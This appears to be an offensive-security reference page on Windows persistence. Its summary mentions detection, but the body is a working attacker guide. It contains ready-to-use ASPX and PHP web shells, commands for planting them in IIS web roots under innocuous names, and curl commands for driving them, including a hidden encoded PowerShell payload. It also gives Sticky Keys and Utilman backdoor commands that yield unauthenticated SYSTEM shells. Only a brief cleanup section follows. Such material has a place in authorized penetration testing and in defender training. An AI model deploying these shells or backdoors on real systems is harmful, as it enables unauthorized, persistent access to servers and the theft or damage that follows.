# Windows Web Shell Persistence

> Covers detecting and mitigating web shell implants on Windows servers used by attackers to maintain persistent backdoor access via HTTP.

- **URL:** https://hackindex.io/platforms/windows/persistence/windows-web-shell-persistence
- **Path:** Windows > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/windows/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Web shell persistence gives you re-entry through the web application layer rather than the OS. A single file dropped into the web root survives reboots, user password changes, and most host-based persistence cleanup operations. Advantages:

- Accessible over HTTP/HTTPS, which is usually allowed through firewalls
- Survives host-level persistence cleanup that targets services, tasks, and registry
- No process creation until the shell is accessed, reducing detection surface

It runs in the context of the web server process (typically IIS application pool identity or NETWORK SERVICE), so escalation is usually needed for full system access.

## ASPX web shells

ASPX shells are the standard for IIS targets. They execute in the .NET runtime and support command execution, file upload, and interactive operation.

```
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
    string cmd = Request.Form["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        psi.CreateNoWindow = true;
        Process p = Process.Start(psi);
        string output = p.StandardOutput.ReadToEnd();
        p.WaitForExit();
        Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
    }
%>
<form method="POST">
    <input type="text" name="cmd" size="80" />
    <input type="submit" value="Run" />
</form>
```

**Drop ASPX shell to IIS web root**

```powershell
# Default IIS web root
copy C:\Windows\Temp\shell.aspx C:\inetpub\wwwroot\shell.aspx

# Common alternative web roots
copy C:\Windows\Temp\shell.aspx C:\inetpub\wwwroot\App_Themes\shell.aspx
copy C:\Windows\Temp\shell.aspx "C:\inetpub\wwwroot\upload\shell.aspx"

# Verify web server can reach it
curl http://127.0.0.1/shell.aspx
```

Name the file something that blends with the application: `admin.aspx`, `error.aspx`, or a name matching existing files in the directory. Avoid obvious names like `shell.aspx` or `cmd.aspx`.

## PHP web shells

Use PHP shells when the target runs Apache, nginx, or IIS with PHP enabled: common on older Windows servers hosting PHP applications.

```php
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    $output = shell_exec($cmd);
    echo "<pre>" . htmlspecialchars($output) . "</pre>";
}
?>
```

**Interact with web shell from attack box**

```bash
# GET request
curl "http://$TARGET_IP/shell.aspx?cmd=whoami"

# POST request (for form-based shells)
curl -X POST http://$TARGET_IP/shell.aspx -d "cmd=whoami"

# URL encode complex commands
curl -X POST http://$TARGET_IP/shell.aspx --data-urlencode "cmd=whoami /all"

# Upgrade to reverse shell via web shell
curl -X POST http://$TARGET_IP/shell.aspx -d "cmd=powershell+-nop+-w+hidden+-e+$ENCODED_PAYLOAD"
```

## Accessibility feature backdoors

Windows accessibility features run before login from the lock screen. Replacing or wrapping them with a command prompt gives you unauthenticated SYSTEM access from the RDP login screen. This technique requires SYSTEM to modify the binary or its registry entry.

**Sticky Keys backdoor (sethc.exe)**

```powershell
# Requires SYSTEM or TrustedInstaller-level access
# Take ownership of sethc.exe first
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrators:F

# Replace sethc.exe with cmd.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y

# Trigger: on RDP login screen, press Shift 5 times
# Result: cmd.exe opens as SYSTEM without authentication

# Cleaner alternative: registry debugger key (no file replacement)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
```

**Utilman backdoor**

```powershell
# Utilman runs on Win+U from the login screen
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

# Trigger: on RDP login screen press Win+U or click Accessibility icon
# Result: cmd.exe opens as SYSTEM
```

The registry Image File Execution Options (IFEO) debugger method is preferable to replacing the binary because it does not modify system files on disk. The Debugger value causes Windows to launch your specified binary instead of the target binary, which means the backdoor survives binary hash checks.

## Cleaning up

**Remove web shell and accessibility backdoors**

```powershell
# Remove web shell
del C:\inetpub\wwwroot\shell.aspx

# Remove IFEO debugger keys
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f

# Restore sethc.exe if replaced
copy C:\Windows\System32\sethc.exe.bak C:\Windows\System32\sethc.exe /y
```